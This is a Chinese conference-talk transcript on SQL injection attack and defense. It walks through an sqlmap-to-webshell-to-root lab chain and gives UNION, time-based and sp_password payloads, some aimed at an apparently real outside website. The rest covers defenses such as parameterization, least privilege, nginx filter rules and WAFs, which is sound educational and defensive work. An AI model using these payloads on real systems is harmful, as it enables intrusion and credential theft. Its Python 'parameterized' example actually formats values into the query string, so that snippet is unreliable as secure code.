1. 程式人生 > >網易遊戲運維林偉壕:永不落幕的資料庫SQL注入攻防戰

網易遊戲運維林偉壕:永不落幕的資料庫SQL注入攻防戰

講師介紹

主題簡介:

1、資料庫有什麼安全問題
2、何為資料庫注入
3、資料庫注入攻擊實戰
4、為什麼會發生資料庫注入
5、資料庫注入攻擊防禦

記得以前有人說過,對於一家軟體公司來說,最重要的不是它的辦公樓,也不是它的股票,而是程式碼。程式碼這東西,說到底就是一堆資料。這話不假,但是不僅僅這樣,對於一家企業來說,它的使用者資料也是最重要的幾個之一。在座各位想必多為DBA或者資料分析相關崗位的同學,關於資料對企業的重要性,應該理解很深刻了。

那麼,換一個角度,如果站在使用者角度,資料對他們而言,更是要害。從以前的“豔照門”、“電信詐騙”,到現在的“50億條公民資訊洩露”,資料洩漏每天都在發生著。所以,不管是誰,不管站在企業還是使用者角度,保護資料安全是重中之重。今天的主題——資料庫注入攻防,就屬於資料安全這個領域的問題。

一、資料庫能有什麼安全問題?

1、那些年洩漏的資料

說起資料庫存在的安全問題,大家必定會想到很多答案,可能因暴露外網被攻擊,可能因架構或網路原因破壞資料一致性,可能因備份還原機制不可用丟資料。

但對於企業、使用者來說,資料洩漏卻是一個特別突出的問題。這裡貼一張圖。如圖1,過去10年,中國網際網路洩漏了10億多條使用者資訊,不過跟最新洩漏的“50億條公民資訊”相比,簡直小巫見大巫。現在這些資料庫在網際網路上早就傳了一遍,網上很多“社工庫”的資料,如圖2,就是從這裡來的。但還有很多是不公開的,還在地下買賣,恐怕我們現在知道的資料洩漏只是冰山一角。

圖1

圖2

2、洩漏的資料哪來的?

那麼,這些資料是怎麼洩漏的?根據搜狐網上的一些報道,我按型別整理了大概有6種途徑,分成使用者提供和不法分子利用2個大類,佔比大概如圖3所示。

圖3

(1)使用者提供
首先,使用者隨意連線免費WIFI或者掃描二維碼會被盜取個人資訊;此外,手機、電腦等終端感染病毒等惡意軟體,也會造成個人資訊被竊取。但這些都是因為使用者自己的主動行為引起的。

(2)不法分子利用

  • 這種主要是包括黑客在內的不法分子主動獲取造成。比如:掌握了資訊的公司、機構員工主動倒賣資訊;
  • 黑客利用網站漏洞入侵資料庫,換句話說,這就是資料庫注入引發的一個個血案;
  • 使用者密碼簡單,“一套密碼走天下”,結果黑客通過“撞庫”等間接方式也獲取了使用者帳號密碼;
  • 個人身份資訊保管不當被利用,比如身份證影印件亂丟,輕易相信網購優惠填寫身份證、銀行卡資訊,從而造成資訊洩漏。

今天,我們將從原理、攻防等方面去剖析資料庫注入。

二、何為資料庫注入

1、原理

通過把惡意 SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字串,從而欺騙伺服器執行惡意的SQL命令,而不是按照設計者意圖去執行SQL語句。從圖4可以看到,正常使用者輸入的是自己的賬號密碼,但攻擊者不會按開發者想法來,他會用各種畸形輸入來測試。比如圖4就是傳說中的“萬能密碼”,10年前,很多網站倒在它面前,就是因為完全信任使用者輸入。

圖4

2、有什麼危害

  • 非法讀取、篡改、新增、刪除資料庫中的資料
  • 盜取使用者的各類敏感資訊,獲取利益
  • 通過修改資料庫來修改網頁上的內容
  • 私自新增或刪除賬號
  • 注入木馬等等

看起來資料庫注入的危害可不止資訊洩漏,破壞資料庫資料和進一步入侵也是入侵題中的應有之義。

跟其他的Web攻擊如XSS/CSRF/SSRF之類比有什麼不同?

危害最大。根據OWASP(Open Web Application Security Project)2013年安全報告,如圖5,資料庫注入是最嚴重的Web安全問題。

圖5

直接攻擊資料庫,而資料是最敏感的。容易被深度利用,造成威脅擴散。剛才上面也提到,資料庫注入可以用來傳播木馬,甚至控制伺服器,想象空間很大。

三、資料庫注入攻擊實戰

在網路安全行業有一句話,“未知攻,焉知防”。所以我們要理解資料庫注入,想做好防禦措施,必須先看看它是怎麼攻擊資料庫的。

1、利用思路

攻擊一般可以採用手工和自動化工具兩種方式,各有千秋。

手工:
繁瑣、效率低;靈活、能夠根據站點防護措施隨時調整攻擊思路。

工具:
效率高、批量自動挖掘;但是容易被WAF(Web防火牆)識別、模式相對單一,不夠靈活。但還是事在人為,工具可以跟人一樣聰明,下面我們就利用神器讓注入“飛起來”吧。

主要會用到下面幾款工具。

  • Nmap:社群最著名埠掃描工具。
  • AWVS:商業級Web漏洞掃描工具,準確率和效率名列漏掃工具Top3。
  • sqlmap.py:全自動SQL注入工具,神器之“神”。
  • NoSQLMap.py:sqlmap的NoSQL版本,支援MongoDB等。
  • webshell:Web木馬,攻城掠地不可或缺。

2、滲透測試環境

要知道,在歐美,掃描別人網站可能違法,更別說入侵網站了。同理,我們的測試,也僅使用模擬環境。下面有很多Web滲透的模擬環境,部署起來非常簡單。

https://github.com/ethicalhack3r/DVWA
https://github.com/WebGoat/WebGoat
https://github.com/Audi-1/sqli-labs
https://hack.me/t/SQLi
https://github.com/davevs/dvxte
https://github.com/rapid7/metasploitable3

3、全景圖

在開始測試前,先整理一遍思路。通常滲透測試會遵循:資訊採集、入口發現、入口測試、獲取webshell、提權等步驟。下面大概介紹下每個環節需要做的事情。

  • 收集資訊:通過埠掃描工具、搜尋引擎或者目錄爆破工具收集敏感資訊或者埠開放資訊,以便作為測試入口。
  • 注入:一般說是入口發現,我們這次是Web站點存在SQL注入,然後通過手工嘗試PoC(漏洞驗證payload)或者自動化工具測試,一旦發現SQL注入點,立馬開始遍歷資料庫,俗稱“脫庫”。但是,別忘了世紀佳緣白帽子事件,殷鑑不遠啊。
  • Getshell:基於SQL注入上傳木馬,獲取伺服器控制權限。
  • 提權:基於已有的普通使用者許可權,利用系統核心漏洞或者應用漏洞,將自己升級到root使用者。
  • 進階:思路足夠廣,要多深入就有多深入。

4、發現漏洞

nmap -p1-65535 192.168.115.131
發現開放tcp/80埠,為Web服務,手工驗證注入入口。

發現http://192.168.115.181/cat.php?id=1存在SQL注入。使用AWVS進行進一步驗證,如圖6。

圖6

5、脫庫

使用sqlmap全自動脫庫,掃出資料庫、表名、列等資訊。

圖7

6、Getshell

也是使用sqlmap直接在SQL Shell裡寫檔案,當然也可以切換到–os-shell獲取作業系統shell直接執行系統命令,如圖8。

圖8

這裡科普一下傳說中的“一句話木馬”、“小馬”、“大馬”。“一句話木馬”就是將接收任意字元進行執行的PHP/ASP/JSP檔案,通常只有幾行,甚至只有一行;“小馬”就是“一句話木馬”或者功能比較簡單的Web木馬,“大馬”就是功能齊全的Web木馬,比如圖8所示,可以管理檔案、資料庫、執行系統命令、埠掃描甚至埠轉發。

7、提權

從普通使用者變成root使用者。這個需要利用作業系統核心版本漏洞,所幸該核心版本(圖9)很低,真找到了核心exp(圖10),順利提權。

圖9

圖10

8、進階利用

提完權就算了?沒這麼簡單,如果處於攻擊目的,實際上可做的事情太多了。

  • 內網漫遊:一般資料庫都放在內網,我們都知道企業內網很多“寶藏”,各種空口令、弱密碼、目錄遍歷,隨便掃一下就大豐收了,如圖11。
  • 流量劫持:ARP攻擊、SSL流量劫持、抓包上傳甚至攻擊域控伺服器等等,都深入到這程度,真沒什麼做不到的。
  • DDoS肉雞:控制被入侵機器去攻擊別人,當你發現某臺伺服器出向流量異常高就該擔心了,如圖12。
    遠控:監控機器,比如鍵盤記錄、使用者命令記錄等等。

圖11

圖12

剛才完整介紹了一個自動SQL注入攻擊的過程,可能大家覺得還是不夠過癮,因為一路只看我在使用工具,連畸形SQL語句都沒看到,所以下面大概介紹一下針對MySQL、msSQL、Oracle等主流關係型資料庫的手工注入。

MySQL

圖13

http://192.168.115.131/cat.php?id=1′

直接在引數後面跟上’,或者\,如果沒有合理過濾,是會報語法錯誤的,不信你看看圖13。

http://192.168.115.131/cat.php?id=1%20and%201=2%20union%20select%201,user(),3,4

然後開始試探資料庫欄位數、當前使用者,如圖14。

圖14

http://192.168.115.131/cat.php?id=1 and (select * from (select(sleep(5)))lsrk)
http://192.168.115.131/cat.php?id=1%20UNION%20
SELECT%201,concat(login,%27:%27,password),3,4%20FROM%20users;’

接下來是用來測試是否存在基於時間的盲注和查詢資料庫管理員帳號密碼的,拿到root賬號後可以去網上破解。

msSQL

這個思路跟MySQL一樣,只是需要msSQL的註釋符和MySQL有所不同,前者支援–,後者支援#,如圖15。

http://www.aquaservices.co.in/authorprofile.asp?id=13 order by 100–

Here comes the error : The order by position number 100 is out of range of the number of items

圖15

http://www.aquaservices.co.in/authorprofile.asp?id=13 and 0=1 Union All Select 1,@@version,3,4,5,6,db_name(),8–
http://www.aquaservices.co.in/authorprofile.asp?id=13;exec master.dbo.sp_password null,password,username;–

這裡還可以執行儲存過程master.dbo.sp_password直接修改資料庫賬號密碼呢。

Oracle

思路也差不多,不過語法上稍微複雜點,如果語法不太熟,有個技巧,可以用sqlmap去跑PoC,如圖16,按照提醒去構造畸形輸入。

獲取資料庫版本資訊

and 1=2 union select null,null,(select banner from sys.v_$version where rownum=1) from dual

開始爆庫

and 1=2 union select null,null,(select owner from all_tables where rownum=1) from dual
and 1=2 union select null,null,(select owner from all_table where rownum=1 and owner<>’第
一個庫名’) from dual
and 1=2 union select null,null,(select table_name from user_tables where rownum=1) from
Dual

圖16

MongoDB

上面講的都是關係型資料庫,非關係型資料庫MongoDB這些是不是就安全了?不是的,如圖17,密碼還是明文儲存的呢。

圖17

四、為什麼會發生資料庫注入

經過上面資料庫注入的攻擊測試,相信大家再也不會心懷僥倖了,因為攻擊成本很低,不是嗎?那麼,總結一下我們看到的,資料庫注入發生的原因是什麼?

1、透過現象看本質

SQL注入可以分為平臺層注入和程式碼層注入。
前者由不安全的資料庫配置或資料庫平臺的漏洞所致;
①不安全的資料庫配置;②資料庫平臺存在漏洞;

後者由於開發對輸入未進行細緻過濾,從而執行非法資料查詢。
①不當的型別處理;
②不合理的查詢集處理;③不當的錯誤處理;
④轉義字元處理不合適;⑤多個提交處理不當。

2、程式碼

首先,“信任,過猶不及”。很多時候,我們一直強調,站在開發者角度,使用者是不可信任的,未過濾或驗證使用者輸入以及輸出資料,就是給自己挖坑。比如下面這個:

$username = “aaa”;
$pwd = “fdsafda’ or ‘1’=’1”;
$sql = “SELECT * FROM table WHERE username = ‘{$username}’ AND pwd = ‘{$pwd}'”;
echo $sql; //輸出 SELECT * FROM table WHERE username = ‘aaa’ AND pwd = ‘fdsafda’ or ‘1’=’1′
?>

傳說中的“萬能密碼”利用的後臺程式碼差不多就是這個渣樣。當然,現在幾乎不可能存在了,因為人總是會吸取教訓的,各種安全開發的理念還是逐漸深入人心了。

3、資料庫

站在運維角度,資料庫注入中的運維“三宗罪”分別是:

(1)空密碼/弱密碼。“空,那麼空”,我耳朵裡突然想起來金志文的《空城》。

mysql> select user,host,password from mysql.user;
+——+———–+———-+
| user | host | password |
+——+———–+———-+
| root | localhost | |
| root | 127.0.0.1 | |
| root | ::1 | |

(2)外網開放。資料庫開放外網,還不改埠(改了也沒用,因為現在都是全埠掃描的),這不是找抽嗎?

iptables-save | grep 3306
-A INPUT -p tcp -m tcp –dport 3306 -j ACCEPT

(3)使用者許可權控制不當。按照最小許可權原則,只給賬號需要的最小許可權即可。

mysql> show grants for [email protected];
+———————————————–+
| Grants for [email protected];
+———————————————–+
| GRANT ALL PRIVILEGES ON `gameserver`.* TO ‘wscs_gs’@’101.101.101.101’

五、資料庫注入攻擊防禦

上文已介紹了資料庫注入的原因和形式,下文將從程式碼、資料庫、Web Server和資料分析四個層面介紹如何防禦資料庫注入攻擊。

1、程式碼

SDL(Security Develop Lifecircle):軟體開發應當遵循“安全開發生命週期”,軟體測試需要增加安全測試的白盒與黑盒測試。

使用者是不可信的:輸入輸出都應當被過濾,至少應滿足以下4個編碼規則。

對使用者的輸入進行校驗,可以通過正則表示式,或限制長度;對單引號和 雙”-“進行轉換等。
不要使用動態拼裝SQL,可以使用引數化的sql或者直接使用儲存過程進行資料查詢存取。
不要把機密資訊明文存放,加密或者hash掉密碼和敏感的資訊。
應用的異常資訊應該給出儘可能少的提示,最好使用自定義的錯誤資訊對原始錯誤資訊進行封裝。

下面我針對PHP和Pyth的反SQL注入講2個例子,因為平時用的比較多的是ThinkPHP和Flask這2個Web框架。

PHP

where方法使用字串條件的時候,支援預處理(安全過濾)。
$Model->where(“id=%d and username=’%s’ and xx=’%f'”,array($id,$username,$xx))->select();

模型的Query和execute方法 同樣支援預處理機制,例如:
$model->query(‘select * from user where id=%d and status=%d’,$id,$status);

Python

cur=db.cursor()
sql = “INSERT INTO test2(cid, author, content) VALUES (%s, %s, %s)” #使用%s而不是’%s’
sql=sql%(‘2′,’2′,’bb’)
cur.execute(sql,())

2、資料庫

從架構和運維兩方面談談如何在資料庫層面進行防禦。

(1)架構

首先是架構層面,處於效能和安全考慮,可以在資料庫叢集與Web Server等前端中間增加DBProxy的中介軟體,比如Batis或者MyCat。

DB-Proxy Batis MyCat

如圖18所示,MyCat中實現了MySQL的預處理協議,可以接收預處理命令的處理。當使用預處理查詢,也可以返回正確的二進位制結果集包,通過這個預處理,可以實現對SQL注入的過濾和攔截。

圖18

開源SQL檢測、阻斷系統 Druid-SQL-Wall
Druid提供了WallFilter,基於SQL語義分析來實現防禦SQL注入攻擊。

(2)運維

然後是運維層面,可以在程序管理、使用者授權、埠開放等方面進行攻擊緩解甚至遏制。

程序啟動使用者

mysql 23400 22671 0 Mar19 ? 00:13:25 /usr/sbin/mysqld –basedir=/home/mysql –datadir=/home/mysql –plugin-dir=/usr/lib/mysql/plugin –user=mysql –open-files-limit=8192 –pid-file=/var/run/mysqld/mysqld.pid –socket=/var/run/mysqld/mysqld.sock –port=3306

資料庫使用者授權

mysql> show grants for [email protected];
| GRANT SELECT,INSERT,DELETE,UPDATE,USAGE PRIVILEGES ON `gameserver`.* TO ‘gs’@’10.10.10.10’ BY PASSWORD ‘*89DCA7B59FD064E3A478xxxxxxxxxF272E7E’
iptables
-A INPUT -p tcp -m tcp –dport 3306 -j MYSQL
-A MYSQL -p tcp -m tcp –dport 3306 -j REJECT –reject-with icmp-port-unreachable

3、Web Server

接下來,除了前面講的程式碼、資料庫層面進行資料庫注入的防禦,其實如果有Web前端,一般還是可以在Web Server層面進行攔截,實現一個多層次的、立體的防護體系。

下面將介紹Web Server配置、Web防火牆兩方面的防禦思路。

配置,配置,還是配置

在Web Server的vhost設定查詢字串過濾,一旦使用者提交的字串存在安全隱患,就會直接進行攔截。由於這個匹配度很高,誤殺可能性很低,不過在業務量比較大的情況下,會損耗Web Server一定效能。

server {
set $block_sql_injections 0;
if ($query_string ~ “union.*select.*(“) {
set $block_sql_injections 1;
}
if ($query_string ~ “union.*all.*select.*”) {
set $block_sql_injections 1;
}
if ($query_string ~ “concat.*(“) {
set $block_sql_injections 1;
}
if ($block_sql_injections = 1) {
return 444;
}

WAF

全稱是Web Application Firewall,跟Web Server耦合度很高,一般是作為Web Server的外掛編譯安裝進去,常見的方案有下面幾種:

  • tengine_waf:基於Nginx二次開發的Tengine的WAF模組。
  • Nginx+Sysguard:Nginx定製版WAF
  • Nginx+HTTPGuard:Nginx定製版WAF
  • Apache+Mod_security:Mod_security其實支援Apache和Nginx,原生的支援Apache,是很通用的一種方案。

一般WAF支援的功能是在以下層面進行匹配、過濾。

  • user-agent 匹配攔截惡意的user-agent
  • url 匹配攔截惡意的網頁路徑
  • args 匹配攔截惡意的GET請求引數
  • POST 匹配攔截惡意的POST請求引數
  • Cookie 匹配攔截惡意的Cookie 請求
  • whitetip IP白名單
  • whiteurl 網頁路徑白名單
  • blockip IP黑名單

4、日誌分析

在海量的Web Server access.log中分析匹配攻擊模型,從中發現SQL注入或者GetShell的敏感語句。

比如下面這個wordpress的攻擊日誌,通過報錯或者’\’敏感字元發現報警:

[07-Dec-2016 02:40:49] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘WHERE id = -1\” at line 1 for query SELECT text, author_id, date FROM WHERE id = -1\’

現在通過日誌大資料做安全防禦的方案有這麼幾種:

  • 實時檢索:ELK,實時查詢效能很好,也有自己的訪問控制機制,需要定製。
  • 離線分析:Hadoop,利用MapReduce等演算法進行模型定製、分析、輸出報告,方案參考。
  • 流處理:Storm+Spark,實時效能好,可以用作實時風控系統。

圖19

總結

資料庫注入其實只是安全攻防的一個小小的領域,但因為涉及到企業、使用者資料,所以需要列入重點關注。但我們知道,道高一尺魔高一丈,在利益的驅使下攻擊不會停止,我們的防護也不會停止,這場攻防之戰永不落幕。

參考資料

社工庫問答
https://www.zhihu.com/question/22827473
個人資訊洩漏源
http://business.sohu.com/20160917/n468557286.shtml
SQL注入基礎
http://blog.csdn.net/pan_cras/article/details/52168448
SQL注入原理
http://blog.csdn.net/stilling2006/article/details/8526458/

Q&A

Q1:開發學這個sqlmap,使用上有哪些難點?手冊中文版的麼?
A1:如果不是基於sqlmap做二次開發,sqlmap學習門檻很低,只需要對照官方手冊(有中文版,安裝包的doc/translations/README-zh-CN.md)操作即可,就跟學習普通的Linux系統命令一樣簡單。如果開發同學想基於sqlmap做二次開發,難點主要在理解Sqlmap的整體框架,它在軟體工程上被推崇備至,就是因為在設計思想、效能處理上非常值得學習。此外,還可以自定義一些Tamper檔案用於繞過服務端過濾,這個比較簡單,主要是字元轉換。sqlmap的學習手冊可以參考:http://www.secbox.cn/hacker/6311.html。

Q2:攻擊工具常用的有哪些?
A2:不同型別的攻擊常用工具都不同,這個回答起來太泛了。這裡我們單純講資料庫注入需要用到的,資訊收集通常使用nmap掃描開放埠、御劍掃描網站目錄,漏洞發現通常基於資訊收集使用AWVS或者OpenVas進行Web或系統漏洞掃描,如果發現SQL注入,則分別使用sqlmap、Pangolin(穿山甲)等工具進行自動滲透,然後再基於漏洞點的許可權決定是通過後臺上傳還是直接寫一句話使木馬到站點,之後,使用中國菜刀(一句話木馬連線工具)連線,再往後的攻擊主要靠思路,沒什麼現成工具。

Q3:WAF可以檢測到SQL注入的行為嗎?
A3:可以。像HTTPGuard或者tengine_waf都支援SQL注入行為發現,主要原理也是依據正則表示式匹配,然後通過輸出的log來報警。

Q4:請問有什麼好的相關書籍或者資料推薦,系統學習安全方面的知識
A4:1.建議先從Web安全入門,推薦《白帽子講Web安全》,同時學習Linux系統基礎知識,推薦《跟阿銘學linux》。2.學習系統安全相關知識。資料可以參考別人整理的Github上安全知識倉庫:http://www.uedbox.com/github-security-repo-collection/;以及知乎上面的專欄文章:https://zhuanlan.zhihu.com/p/25661457。

Q5:市場上有什麼防資料庫注入的解決方案嗎?
A5:沒有單獨的防資料庫注入的產品或者商業方案,一般作為入侵檢測系統的子功能,或者Web站點安全防護解決方案的一部分。傳統安全廠商啟明星辰、綠盟都有入侵檢測產品,Web方面的360和安全狗用的比較多。如果是自己實現,就是本次分享提到的程式碼、資料庫、Web Server、日誌分析等幾個層面的方案。

Q6:科普下肉雞是什麼?
A6:肉雞也稱傀儡機,是指可以被黑客遠端控制的機器。受害者被誘導點選或者機器被黑客攻破或機器有漏洞被種植了木馬,黑客藉此隨意操縱服機器並利用它做任何事情,比如DDoS。

Q7:可以用admin許可權,上傳一個1畫素的木馬到主頁上抓肉雞,不是更好嗎?
A7:你這裡說的應該是網頁掛馬,也是抓肉雞的一種方式。但是要獲取admin許可權,作為非法使用者,本身就要通過入侵去實現的。

Q8:那些搞破解的是不是專做這些事?
A8:資料庫注入跟破解其實不是一個領域的問題,破解更多的是應用程式的逆向,比如破解商業軟體的License之類的。

原文來自微信公眾號:DBAPlus社群